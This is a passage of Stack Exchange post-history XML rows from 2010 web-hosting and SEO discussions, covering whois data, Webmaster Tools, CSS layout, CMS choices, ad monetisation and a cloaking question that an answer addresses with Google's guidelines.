  <row Id="13608" PostHistoryTypeId="2" PostId="6781" RevisionGUID="bee47ae0-c14c-4c06-9dc9-a77ac09d1266" CreationDate="2010-12-16T01:36:47.277" UserDisplayName="totrta" Text="NetFirms is one of the top domain registrars, but go to their website and do a whois lookup for any of the top websites (Google, Yahoo, MSN, etc). Do yo see what I see? I notified them about this may times, months ago, and they still haven't fixed it. I don't know where they get their data but I'm worried for my domain I have hosted there." />
  <row Id="13609" PostHistoryTypeId="1" PostId="6781" RevisionGUID="bee47ae0-c14c-4c06-9dc9-a77ac09d1266" CreationDate="2010-12-16T01:36:47.277" UserDisplayName="totrta" Text="What is up with these guys at NetFirms - they have been hacked and they don't seem to care." />
  <row Id="13610" PostHistoryTypeId="3" PostId="6781" RevisionGUID="bee47ae0-c14c-4c06-9dc9-a77ac09d1266" CreationDate="2010-12-16T01:36:47.277" UserDisplayName="totrta" Text="&lt;web-hosting&gt;&lt;registrar&gt;&lt;whois&gt;&lt;domain-hacks&gt;" />
  <row Id="13611" PostHistoryTypeId="5" PostId="6446" RevisionGUID="a5ac7302-fc13-448a-8ff8-e0288481f634" CreationDate="2010-12-16T02:36:45.637" UserId="6967" Comment="fix a typo" Text="The author of http://www.bluehatseo.com (I can't remember his name at the moment). It's very logical in his posts and argumentations. &#xD;&#xA;&#xD;&#xA;His posts about &quot;Seo Empire&quot; are really loved in some circles, although they are a little bit outdated now." />
  <row Id="13612" PostHistoryTypeId="12" PostId="6774" RevisionGUID="ea88865d-cfa2-4f8c-aea8-86f1828a5ff7" CreationDate="2010-12-16T03:01:58.413" UserId="1064" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="13613" PostHistoryTypeId="13" PostId="6774" RevisionGUID="8e752550-14d0-42fa-80b1-492071127a7d" CreationDate="2010-12-16T03:03:09.317" UserId="1064" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="13614" PostHistoryTypeId="5" PostId="6774" RevisionGUID="b5c38388-c61f-4d4e-91d3-bdae7cd0a2b6" CreationDate="2010-12-16T03:04:42.873" UserId="1064" Comment="Changed answer" Text="&lt;s&gt;This is a non-issue if you return the same message for both of the following cases:&#xD;&#xA;&#xD;&#xA;* Invalid login/invalid pass&#xD;&#xA;* Valid login/invalid pass&#xD;&#xA;&#xD;&#xA;It is generally a *bad* idea to tell a user that his login is valid but his pass is invalid: doing so allows an attacker to find valid logins.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;Sorry, my mistake - if this is just a concern for registration then why not apply the same principle (share no information regarding account existence) and just let users re-register the account with the e-mail provided (chances are they've forgotten their password so instead of sending the new registration e-mail just send an e-mail with a link to reset the account password)." />
  <row Id="13615" PostHistoryTypeId="10" PostId="6781" RevisionGUID="74b66af1-a72c-4084-8d3d-942a066942c7" CreationDate="2010-12-16T03:46:23.047" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13616" PostHistoryTypeId="2" PostId="6782" RevisionGUID="906d3812-6473-4e26-8454-3b86eee642c9" CreationDate="2010-12-16T03:58:23.980" UserId="2042" Text="We have  as site registered with the google webmaster, but recently due to some problems we have to shutdown the site temporary. As as a result, links indexed by the google are becoming invalid. &#xD;&#xA;&#xD;&#xA;I want to know is it safe to delete the site from google webmaster temporary and then re-enter the site when we start it again. Will google crawl it again once we delete the site from it ?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="13617" PostHistoryTypeId="1" PostId="6782" RevisionGUID="906d3812-6473-4e26-8454-3b86eee642c9" CreationDate="2010-12-16T03:58:23.980" UserId="2042" Text="Is it safe to delete site form the google webmaster ?" />
  <row Id="13618" PostHistoryTypeId="3" PostId="6782" RevisionGUID="906d3812-6473-4e26-8454-3b86eee642c9" CreationDate="2010-12-16T03:58:23.980" UserId="2042" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="13619" PostHistoryTypeId="2" PostId="6783" RevisionGUID="243e4139-e938-4fae-a3b1-42403270f254" CreationDate="2010-12-16T04:34:50.493" UserId="3590" Text="For a new website a professional team of translators will be editing each their own comma separated text files files like `de.txt` and `fr.txt`. All such files reside in one directory. Each file contains lines of plain text: on every line there are English word(s) then after a delimiter character like `;` the translation in German or French etc. follows. there are about twenty of these txt files.&#xD;&#xA;&#xD;&#xA;I would like to open up the access to such files, by allowing the translators to go online and then be able to read the English text and edit/correct the translations themselves, instead of manual labour cpy pasting from faxes microsoft word document and god knows what other ancient technlogies!&#xD;&#xA;&#xD;&#xA;**What solution/technique(s) would you advise for me to use in this situation?**&#xD;&#xA;&#xD;&#xA;Would a single php program file in the directory be able to do the job? or do i need to hire a programmer who can write ajax for a more realtime feel? or...?" />
  <row Id="13620" PostHistoryTypeId="1" PostId="6783" RevisionGUID="243e4139-e938-4fae-a3b1-42403270f254" CreationDate="2010-12-16T04:34:50.493" UserId="3590" Text="How to Edit Simple Flat CSV Text Files Online?" />
  <row Id="13621" PostHistoryTypeId="3" PostId="6783" RevisionGUID="243e4139-e938-4fae-a3b1-42403270f254" CreationDate="2010-12-16T04:34:50.493" UserId="3590" Text="&lt;php&gt;&lt;ajax&gt;&lt;web-applications&gt;&lt;text-editor&gt;&lt;google-translate&gt;" />
  <row Id="13622" PostHistoryTypeId="5" PostId="6783" RevisionGUID="89dbad0d-0d77-4e7a-894a-4d0e0b8d6b9a" CreationDate="2010-12-16T04:43:12.487" UserId="3590" Comment="added 124 characters in body" Text="For a new website a team of translators will be editing each their own comma separated text files, files like `de.txt`  `fr.txt`  `cn.txt` etc. All such files reside in one and the same directory. Each file contains lines of plain text: on every line there are English word(s) then after a delimiter character like `;` the translation in German or French etc. follows. there are about twenty of these txt files.&#xD;&#xA;&#xD;&#xA;I would like to open up the access to such files, by allowing the translators to go online and then login in to some kind of simple plain-text-editor. Be able to read the English text and edit/correct the translations themselves, instead of manual labour cpy pasting from faxes microsoft word document and god knows what other ancient technlogies!&#xD;&#xA;&#xD;&#xA;**QUESTIONS**   &#xD;&#xA;&#xD;&#xA; - What solution/technique(s) would you advise me to use here?&#xD;&#xA;&#xD;&#xA; - Are there ready-to-implement solutions, or do i have to reinvent the weel?&#xD;&#xA;&#xD;&#xA; - Would a single php program file suffice? and do the job in this directory?&#xD;&#xA;&#xD;&#xA; - Or does it need to be in ajax for a live feeling?&#xD;&#xA;" />
  <row Id="13623" PostHistoryTypeId="2" PostId="6784" RevisionGUID="911a3662-71a2-4417-8ae5-81b785376518" CreationDate="2010-12-16T04:59:41.930" UserId="3325" Text="It could be that the bars on your site have a limited marketing budget. You want to look like good value for money. It would help to show established traffic and a variety of marketing ideas.&#xD;&#xA;&#xD;&#xA;You could offer special deals (venues would pay to be the site of the week). Local people will be drawn to your site to see where the special deal of the week is this week. eg: This site offers special deals (click skip on the first screen)&#xD;&#xA;http://partners.livingsocial.com/deals/19011-60-off-meze-and-wine&#xD;&#xA;&#xD;&#xA;You could make offers like &quot;complete a review for your chance to win discount / coupons at participating venues&quot;&#xD;&#xA;&#xD;&#xA;You could add a facebook like button to your homepage to get people to promote the site for you. Use a &quot;like us for your chance to win&quot; campaign. &#xD;&#xA;&#xD;&#xA;Your website has some cool information on it. I like the summaries in the right hand column. But maybe there is too much going on the homepage. Perhaps you could provide a teaser rather then the full report eg: This weeks highest ranked venue then click for more highest ranked. &#xD;&#xA;" />
  <row Id="13624" PostHistoryTypeId="2" PostId="6785" RevisionGUID="23f6ac4c-b608-4121-820a-4ba09a8266a3" CreationDate="2010-12-16T06:38:10.887" UserId="3514" Text="I don't see the need for removing it from webmaster, you can just say reindex.&#xD;&#xA;&#xD;&#xA;I think you could do is similar to what Elliot Jay Stocks did a while back, which was (and this first part is optional) turn the site from a whole site into just one page to clear our pharmahacks, waited about a month, than rereleased the old version.&#xD;&#xA;&#xD;&#xA;In that month, google reindexed the page and said hey, it's no longer pharmahacked in searches." />
  <row Id="13625" PostHistoryTypeId="2" PostId="6786" RevisionGUID="36d17064-e8dd-4ad4-80fb-1c11149aa981" CreationDate="2010-12-16T08:33:59.407" UserId="3926" Text="At a webshop I'm currently working on I have several links that show a fancybox with product information.&#xD;&#xA;&#xD;&#xA;The link works without ajax, it shows the same content as the fancybox links etc will not work.&#xD;&#xA;&#xD;&#xA;My question is this, is it considered bad/blackhat to redirect everyone except googlebot back to the page showing the link with a parameter that calls up the fancybox.&#xD;&#xA;&#xD;&#xA;eg:&#xD;&#xA;&#xD;&#xA;	if (($_SERVER['HTTP_X_REQUESTED_WITH'] != &quot;XMLHttpRequest&quot;) &amp;&amp; !preg_match(&quot;#(google|slurp@inktomi|yahoo! slurp|msnbot)#si&quot;, $_SERVER['HTTP_USER_AGENT'])) {&#xD;&#xA;&#xD;&#xA;		header(&quot;HTTP/1.1 302 Found&quot;);&#xD;&#xA;		header(&quot;location: &quot; . conf(&quot;url:site&quot;).&quot;index.php?menu_id=&quot;.$_GET['menu_id'].&quot;&amp;idproduct=&quot;.$_GET['idproduct'].&quot;&amp;idlist=&quot;.$_GET['idlist'].&quot;&amp;fb=1&quot;);&#xD;&#xA;		die();&#xD;&#xA;	}" />
  <row Id="13626" PostHistoryTypeId="1" PostId="6786" RevisionGUID="36d17064-e8dd-4ad4-80fb-1c11149aa981" CreationDate="2010-12-16T08:33:59.407" UserId="3926" Text="Is it safe to redirect to ajax enabled content if its not google bot visiting?" />
  <row Id="13627" PostHistoryTypeId="3" PostId="6786" RevisionGUID="36d17064-e8dd-4ad4-80fb-1c11149aa981" CreationDate="2010-12-16T08:33:59.407" UserId="3926" Text="&lt;seo&gt;&lt;php&gt;&lt;blackhat&gt;" />
  <row Id="13628" PostHistoryTypeId="2" PostId="6787" RevisionGUID="6aa89d6e-24d6-44f1-9a8f-6f3ec5e29226" CreationDate="2010-12-16T09:25:25.853" UserId="1089" Text="To directly answer the question &quot;is it safe to delete site from google webmaster&quot; the short answer is yes it is safe to do.&#xD;&#xA;&#xD;&#xA;The longer answer is removing or deactivating your account with webmasters tools won't stop google spidering and indexing your content. &#xD;&#xA;&#xD;&#xA;If anything I would suggest its worth having the webmasters tools account open as you can request a re-indexing as soon as you are ready, when one of my sites was hacked and chrome/firefox were displaying the big scary warning messages, I requested a re-index following a clean up, it was completed and the warning message removed in under 8 hours." />
  <row Id="13629" PostHistoryTypeId="2" PostId="6788" RevisionGUID="931772e5-b11f-4a84-80fb-30a68f429a0d" CreationDate="2010-12-16T09:34:33.863" UserId="1089" Text="If your not expecting to make much in donations, it maybe worth considering using a 3rd party website (paypal and others) to deal with payment handling. It's free to set up (although they take a small cut of each payment), but you don't have to worry about SSL or any other technical or security administration other than setting it up, which is easy to do." />
  <row Id="13630" PostHistoryTypeId="2" PostId="6789" RevisionGUID="745388e1-2346-45fb-a04a-2ea15d34feaf" CreationDate="2010-12-16T10:03:15.820" UserId="1064" Text="Google recommends the following in its [Webmaster Guidelines][1]:&#xD;&#xA;&#xD;&#xA;&gt; Don't deceive your users or present&#xD;&#xA;&gt; different content to search engines&#xD;&#xA;&gt; than you display to users, which is&#xD;&#xA;&gt; commonly referred to as &quot;cloaking.&quot;&#xD;&#xA;&#xD;&#xA;Instead of giving users a hard link to the AJAX data provider script, why not just provide the index.php link by default and use Javascript to [enhance][2] the link (i.e. by changing its click event to use your AJAX function call instead of directing the user to the index.php link) as the DOM loads?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35769&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Progressive_enhancement" />
  <row Id="13631" PostHistoryTypeId="2" PostId="6790" RevisionGUID="a3034300-1a59-4c96-83e0-cfd98b796ee7" CreationDate="2010-12-16T10:23:16.427" UserId="3153" Text="My boss just told me I have to create a dating website of one of our domains. I was wondering if you guys can give me an idea of a good dating CMS ? It doesn't matter if its paid or not. I installed Dolphin 7 but its too heavy for our needs. I need something that looks nice and supports different languages (if it includes Bulgarian it would be superb)" />
  <row Id="13632" PostHistoryTypeId="1" PostId="6790" RevisionGUID="a3034300-1a59-4c96-83e0-cfd98b796ee7" CreationDate="2010-12-16T10:23:16.427" UserId="3153" Text="Dating CMS ideas" />
  <row Id="13633" PostHistoryTypeId="3" PostId="6790" RevisionGUID="a3034300-1a59-4c96-83e0-cfd98b796ee7" CreationDate="2010-12-16T10:23:16.427" UserId="3153" Text="&lt;cms&gt;&lt;websites&gt;" />
  <row Id="13634" PostHistoryTypeId="2" PostId="6791" RevisionGUID="49398f24-d399-4480-b0ec-73886ad50f3a" CreationDate="2010-12-16T10:36:49.260" UserId="3656" Text="i want to have an image behind my google adsense&#xD;&#xA;just like the below image&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but when i tried the following css&#xD;&#xA;&#xD;&#xA;    L{&#xD;&#xA;        background: transparent url(&quot;http://www.triphp.com/images/adback.png&quot;) repeat-x left bottom; padding-bottom:0px; padding-top:0px;&#xD;&#xA;        height: 352px;&#xD;&#xA;        padding: 50px 30px 0;&#xD;&#xA;        width: 350px;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;i am getting image but as background check this image for this&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Lr8oX.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/CXAuA.jpg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;how can i make it like the above one??" />
  <row Id="13635" PostHistoryTypeId="1" PostId="6791" RevisionGUID="49398f24-d399-4480-b0ec-73886ad50f3a" CreationDate="2010-12-16T10:36:49.260" UserId="3656" Text="image behind adsense" />
  <row Id="13636" PostHistoryTypeId="3" PostId="6791" RevisionGUID="49398f24-d399-4480-b0ec-73886ad50f3a" CreationDate="2010-12-16T10:36:49.260" UserId="3656" Text="&lt;css&gt;&lt;images&gt;" />
  <row Id="13637" PostHistoryTypeId="2" PostId="6792" RevisionGUID="62e5e575-b94b-4dc0-896f-60e797e6dcf6" CreationDate="2010-12-16T11:21:31.740" UserId="3903" Text="If you look it's not an image that's behind the ad it's a background colour. Controlled from your adsense setup.&#xD;&#xA;&#xD;&#xA;if you go into your ads and edit it. You'll see options to edit &quot;style&quot;.  You can then choose the background colour you desire :)&#xD;&#xA;&#xD;&#xA;Hope the above makes sense :)" />
  <row Id="13638" PostHistoryTypeId="2" PostId="6793" RevisionGUID="bcdb6598-db3e-45df-a07a-15fd14c12748" CreationDate="2010-12-16T12:18:09.700" UserId="3930" Text="This is my css code, i would like to make the content_area come to the right of the menu_bar, at the moment it comes at the bottom of the menu_bar    &#xD;&#xA;&#xD;&#xA;    body{&#xD;&#xA;        color:#000000;&#xD;&#xA;        font-family: arial, san serif;&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;    #container {&#xD;&#xA;    margin-left: 10%;&#xD;&#xA;    margin-right: 10%;&#xD;&#xA;    border: 1px solid #46A5E0;&#xD;&#xA;    width: 80%;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #header {&#xD;&#xA;    margin-left: 0.5%;&#xD;&#xA;    margin-right: 0.5%;&#xD;&#xA;    margin-top: 0.5%;&#xD;&#xA;    margin-bottom: 1%;&#xD;&#xA;    border: 1px solid #46A5E0;&#xD;&#xA;    width: 99%;&#xD;&#xA;    height: 10%;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #pathway{&#xD;&#xA;    margin-left: 0.5%;&#xD;&#xA;    margin-right: 0.5%;&#xD;&#xA;    margin-top: 0.5%;&#xD;&#xA;    margin-bottom: 1%;&#xD;&#xA;    border: 1px solid #46A5E0;&#xD;&#xA;    width: 99%;&#xD;&#xA;    height: 3.5%;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #menu_bar{&#xD;&#xA;    margin-left: 0.5%;&#xD;&#xA;    margin-right: 0.5%;&#xD;&#xA;    margin-top: 0.5%;&#xD;&#xA;    margin-bottom: 1%;&#xD;&#xA;    border: 1px solid #46A5E0;&#xD;&#xA;    width: 20%;&#xD;&#xA;    height: 40%;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #content_area{&#xD;&#xA;    margin-left: 25%;&#xD;&#xA;    margin-right: 0.5%;&#xD;&#xA;    margin-top: 0.5%;&#xD;&#xA;    margin-bottom: 1%;&#xD;&#xA;    border: 1px solid #46A5E0;&#xD;&#xA;    width: 20%;&#xD;&#xA;    height: 40%;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #footer&#xD;&#xA;    { margin-left: 0.5%; margin-right: 0.5%; margin-top: 0.5%; margin-bottom: 1%; border: 1px solid #46A5E0; width: 99%; height: 3.5%;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This is making the content_area go below the menu_bar how do i bring it to the right of the menu bar." />
  <row Id="13639" PostHistoryTypeId="1" PostId="6793" RevisionGUID="bcdb6598-db3e-45df-a07a-15fd14c12748" CreationDate="2010-12-16T12:18:09.700" UserId="3930" Text="Make content area appear on the right of the menu_bar" />
  <row Id="13640" PostHistoryTypeId="3" PostId="6793" RevisionGUID="bcdb6598-db3e-45df-a07a-15fd14c12748" CreationDate="2010-12-16T12:18:09.700" UserId="3930" Text="&lt;css&gt;&lt;html&gt;" />
  <row Id="13641" PostHistoryTypeId="2" PostId="6794" RevisionGUID="2e060d1a-82e4-4c05-992d-db446a5d0830" CreationDate="2010-12-16T12:20:33.473" UserId="1757" Text="I don't know of any CMS platforms specifically for dating sites, but if you're looking for alternative social network platforms to Dolphin 7, you could try one of these:&#xD;&#xA;&#xD;&#xA; - [Diaspora][1]&#xD;&#xA; - [elgg][2]&#xD;&#xA; - [SocialEngine][3]&#xD;&#xA; - [phpFox][4]&#xD;&#xA; - [noserub][5]&#xD;&#xA;&#xD;&#xA;You could also go with a hosted solution:&#xD;&#xA;&#xD;&#xA; - [Ning][6]&#xD;&#xA; - [SocialGO][7]&#xD;&#xA; - [groupsite][8]&#xD;&#xA; - [YoolinkPro][9]&#xD;&#xA;&#xD;&#xA;If price is no option, here are some social media solutions for enterprise customers:&#xD;&#xA;&#xD;&#xA; - [onesite][11]&#xD;&#xA; - [kickapps][12]&#xD;&#xA; - [OmniSocial][13]&#xD;&#xA; - [SocialSpring][14]&#xD;&#xA; - [Moxie][15]&#xD;&#xA; - [ingagenetworks][16]&#xD;&#xA; - [Concursive][17]&#xD;&#xA; - [telligent community][10]&#xD;&#xA;&#xD;&#xA;However, if Dolphin 7 already does everything you need, then you could just get a support/deployment package from Boonex. It'd be a lot cheaper, and they'd basically setup and customize the site for you.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/diaspora/diaspora/wiki/Installing-and-Running-Diaspora&#xD;&#xA;  [2]: http://www.elgg.org/&#xD;&#xA;  [3]: http://www.socialengine.net/&#xD;&#xA;  [4]: http://www.phpfox.com/&#xD;&#xA;  [5]: http://noserub.com/&#xD;&#xA;  [6]: http://www.ning.com/&#xD;&#xA;  [7]: http://www.socialgo.com/&#xD;&#xA;  [8]: http://www.groupsite.com/&#xD;&#xA;  [9]: http://www.yoolinkpro.com/&#xD;&#xA;  [10]: http://telligent.com/&#xD;&#xA;  [11]: http://www.onesite.com/&#xD;&#xA;  [12]: http://www.kickapps.com/&#xD;&#xA;  [13]: http://www.mzinga.com/&#xD;&#xA;  [14]: http://socialspring.com/&#xD;&#xA;  [15]: http://www.moxiesoft.com/&#xD;&#xA;  [16]: http://www.ingagenetworks.com/&#xD;&#xA;  [17]: http://www.concursive.com/" />
  <row Id="13642" PostHistoryTypeId="2" PostId="6795" RevisionGUID="2451c677-b2e5-451e-bd99-294429857b03" CreationDate="2010-12-16T12:45:16.893" UserId="2293" Text="Despite you set proper widths, I think you are using block elements for #content_area and #menu_bar and probably also using block elments inside them.&#xD;&#xA;&#xD;&#xA;Block elements has to main characteristics.&#xD;&#xA; 1 - Fill 100% width when they can&#xD;&#xA; 2 - Adds automntically a line break before and after them.&#xD;&#xA;&#xD;&#xA;This leads to some options to deal with this behavior.&#xD;&#xA;&#xD;&#xA;First, set proper widths.&#xD;&#xA;Second, positioning they with float or position.&#xD;&#xA;Also, make sure inner block elements doesn't go 100% width." />
  <row Id="13643" PostHistoryTypeId="10" PostId="6793" RevisionGUID="9361711a-1cf3-4ead-a953-246c345f790c" CreationDate="2010-12-16T12:46:43.710" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13644" PostHistoryTypeId="2" PostId="6796" RevisionGUID="7261a0fc-c44e-4121-aff8-b9b3771b8f6f" CreationDate="2010-12-16T12:08:40.363" UserId="3930" Text="The following is the code i have written, this is the CSS part of it&#xD;&#xA;&#xD;&#xA;    body{&#xD;&#xA;	color:#000000;&#xD;&#xA;	font-family: arial, san serif;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#container {&#xD;&#xA;	margin-left: 10%;&#xD;&#xA;	margin-right: 10%;&#xD;&#xA;	border: 1px solid #46A5E0;&#xD;&#xA;	width: 80%;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#header {&#xD;&#xA;	margin-left: 0.5%;&#xD;&#xA;	margin-right: 0.5%;&#xD;&#xA;	margin-top: 0.5%;&#xD;&#xA;	margin-bottom: 1%;&#xD;&#xA;	border: 1px solid #46A5E0;&#xD;&#xA;	width: 99%;&#xD;&#xA;	height: 10%;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#pathway{&#xD;&#xA;	margin-left: 0.5%;&#xD;&#xA;	margin-right: 0.5%;&#xD;&#xA;	margin-top: 0.5%;&#xD;&#xA;	margin-bottom: 1%;&#xD;&#xA;	border: 1px solid #46A5E0;&#xD;&#xA;	width: 99%;&#xD;&#xA;	height: 3.5%;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#menu_bar{&#xD;&#xA;	margin-left: 0.5%;&#xD;&#xA;	margin-right: 0.5%;&#xD;&#xA;	margin-top: 0.5%;&#xD;&#xA;	margin-bottom: 1%;&#xD;&#xA;	border: 1px solid #46A5E0;&#xD;&#xA;	width: 20%;&#xD;&#xA;	height: 40%;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#content_area{&#xD;&#xA;	margin-left: 25%;&#xD;&#xA;	margin-right: 0.5%;&#xD;&#xA;	margin-top: 0.5%;&#xD;&#xA;	margin-bottom: 1%;&#xD;&#xA;	border: 1px solid #46A5E0;&#xD;&#xA;	width: 20%;&#xD;&#xA;	height: 40%;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#footer&#xD;&#xA;{&#xD;&#xA;	margin-left: 0.5%;&#xD;&#xA;	margin-right: 0.5%;&#xD;&#xA;	margin-top: 0.5%;&#xD;&#xA;	margin-bottom: 1%;&#xD;&#xA;	border: 1px solid #46A5E0;&#xD;&#xA;	width: 99%;&#xD;&#xA;	height: 3.5%;	&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;This is making the content_area go below the menu_bar how do i bring it to the right of the menu bar.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13645" PostHistoryTypeId="1" PostId="6796" RevisionGUID="7261a0fc-c44e-4121-aff8-b9b3771b8f6f" CreationDate="2010-12-16T12:08:40.363" UserId="3930" Text="Make the content area div come next the menu bar" />
  <row Id="13646" PostHistoryTypeId="3" PostId="6796" RevisionGUID="7261a0fc-c44e-4121-aff8-b9b3771b8f6f" CreationDate="2010-12-16T12:08:40.363" UserId="3930" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="13647" PostHistoryTypeId="17" PostId="6796" RevisionGUID="11e53600-6fa2-41b1-af8f-acdcf5594f9c" CreationDate="2010-12-16T12:51:51.383" UserId="-1" Comment="from http://serverfault.com/questions/213259/make-the-content-area-div-come-next-the-menu-bar" Text="" />
  <row Id="13657" PostHistoryTypeId="2" PostId="6803" RevisionGUID="a50f6260-8941-443f-8818-d2704dbcd454" CreationDate="2010-12-16T12:57:36.297" UserId="1757" Text="I just looked at your site, and IMO 107 users isn't really enough to start charging for advertising (or even offering it for free).&#xD;&#xA;&#xD;&#xA;So for now I'd stick to promotion and building a sustainable community. When you hit the 1000 user mark, then you might start thinking about monetizing the site and putting up ads. But before that happens, it's a bit unrealistic to think anyone would want to advertise on your site, and you should instead just focus on making the site useful to users.&#xD;&#xA;&#xD;&#xA;I would also take a look at PPC/CPM costs on various ad networks. How much would it cost for these bar owners to get the same exposure on other sites? Is it worth the hassle for these businesses to bother with $2.75/month worth of advertising (even if it's free)?&#xD;&#xA;&#xD;&#xA;Now, if your registered user figures are not representative of the volume of traffic you're getting (maybe do something about that), then you could try signing up for AdSense. Perhaps the bars in your area prefer to advertise on a single network and get exposure on multiple sites rather than to deal with a bunch of individual publishers. You may not get paid as much, but it will at least establish that your ad space has some value. And later on you can take these figures to bar owners and present a business case for advertising on your site directly.&#xD;&#xA;&#xD;&#xA;As a side note, if you don't get the answers you're looking for here, you might try [onstartups][1], which is where the business-related SE site is hosted.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://answers.onstartups.com/" />
  <row Id="13658" PostHistoryTypeId="10" PostId="6796" RevisionGUID="a80f63e2-9151-48ac-9236-301a02506b1a" CreationDate="2010-12-16T13:17:53.323" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13659" PostHistoryTypeId="5" PostId="6796" RevisionGUID="9232af49-254f-4c62-816e-1186f0edabae" CreationDate="2010-12-16T13:17:53.477" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Make content area appear on the right of the menu_bar](http://webmasters.stackexchange.com/questions/6793/make-content-area-appear-on-the-right-of-the-menu-bar)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;The following is the code i have written, this is the CSS part of it&#xD;&#xA;&#xD;&#xA;    body{&#xD;&#xA;	color:#000000;&#xD;&#xA;	font-family: arial, san serif;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#container {&#xD;&#xA;	margin-left: 10%;&#xD;&#xA;	margin-right: 10%;&#xD;&#xA;	border: 1px solid #46A5E0;&#xD;&#xA;	width: 80%;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#header {&#xD;&#xA;	margin-left: 0.5%;&#xD;&#xA;	margin-right: 0.5%;&#xD;&#xA;	margin-top: 0.5%;&#xD;&#xA;	margin-bottom: 1%;&#xD;&#xA;	border: 1px solid #46A5E0;&#xD;&#xA;	width: 99%;&#xD;&#xA;	height: 10%;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#pathway{&#xD;&#xA;	margin-left: 0.5%;&#xD;&#xA;	margin-right: 0.5%;&#xD;&#xA;	margin-top: 0.5%;&#xD;&#xA;	margin-bottom: 1%;&#xD;&#xA;	border: 1px solid #46A5E0;&#xD;&#xA;	width: 99%;&#xD;&#xA;	height: 3.5%;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#menu_bar{&#xD;&#xA;	margin-left: 0.5%;&#xD;&#xA;	margin-right: 0.5%;&#xD;&#xA;	margin-top: 0.5%;&#xD;&#xA;	margin-bottom: 1%;&#xD;&#xA;	border: 1px solid #46A5E0;&#xD;&#xA;	width: 20%;&#xD;&#xA;	height: 40%;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#content_area{&#xD;&#xA;	margin-left: 25%;&#xD;&#xA;	margin-right: 0.5%;&#xD;&#xA;	margin-top: 0.5%;&#xD;&#xA;	margin-bottom: 1%;&#xD;&#xA;	border: 1px solid #46A5E0;&#xD;&#xA;	width: 20%;&#xD;&#xA;	height: 40%;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#footer&#xD;&#xA;{&#xD;&#xA;	margin-left: 0.5%;&#xD;&#xA;	margin-right: 0.5%;&#xD;&#xA;	margin-top: 0.5%;&#xD;&#xA;	margin-bottom: 1%;&#xD;&#xA;	border: 1px solid #46A5E0;&#xD;&#xA;	width: 99%;&#xD;&#xA;	height: 3.5%;	&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;This is making the content_area go below the menu_bar how do i bring it to the right of the menu bar.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13666" PostHistoryTypeId="2" PostId="6804" RevisionGUID="91b68236-4c38-4d06-bca6-99393afac05f" CreationDate="2010-12-16T15:24:12.730" UserDisplayName="acegordon" Text="Pretty much agree w/ Lèse majesté. AdSense is an option.&#xD;&#xA;" />
  <row Id="13667" PostHistoryTypeId="5" PostId="6768" RevisionGUID="c6432e72-3875-4ba2-908e-3c2dff6a3eb8" CreationDate="2010-12-16T16:10:01.307" UserId="1597" Comment="added 5 characters in body; edited title" Text="Amazon recently introduced a free tier for its cloud offering. I signed up for AWS and while signing up for the free tier of S3, i found this&#xD;&#xA;&#xD;&#xA;&gt; As part of AWS Free Usage Tier, you&#xD;&#xA;&gt; can get started with Amazon S3 for&#xD;&#xA;&gt; free. Upon sign-up, new AWS customers&#xD;&#xA;&gt; receive 5 GB of Amazon S3 storage,&#xD;&#xA;&gt; **20,000 Get Requests, 2,000 Put Requests,**&#xD;&#xA;&gt; 15GB of bandwidth in and&#xD;&#xA;&gt; 15GB of bandwidth out each month for&#xD;&#xA;&gt; one year.&#xD;&#xA;&#xD;&#xA;source:aws.amazon.com , emphasis mine.&#xD;&#xA;&#xD;&#xA;20,000 GET requests &amp; 2000 puts mean , 20,000 page views(max) and 2000 file uploads per month.&#xD;&#xA;&#xD;&#xA;Isn't that lower than what App Engine offers [43,200,000 requests][1] per day.Am I missing some thing, 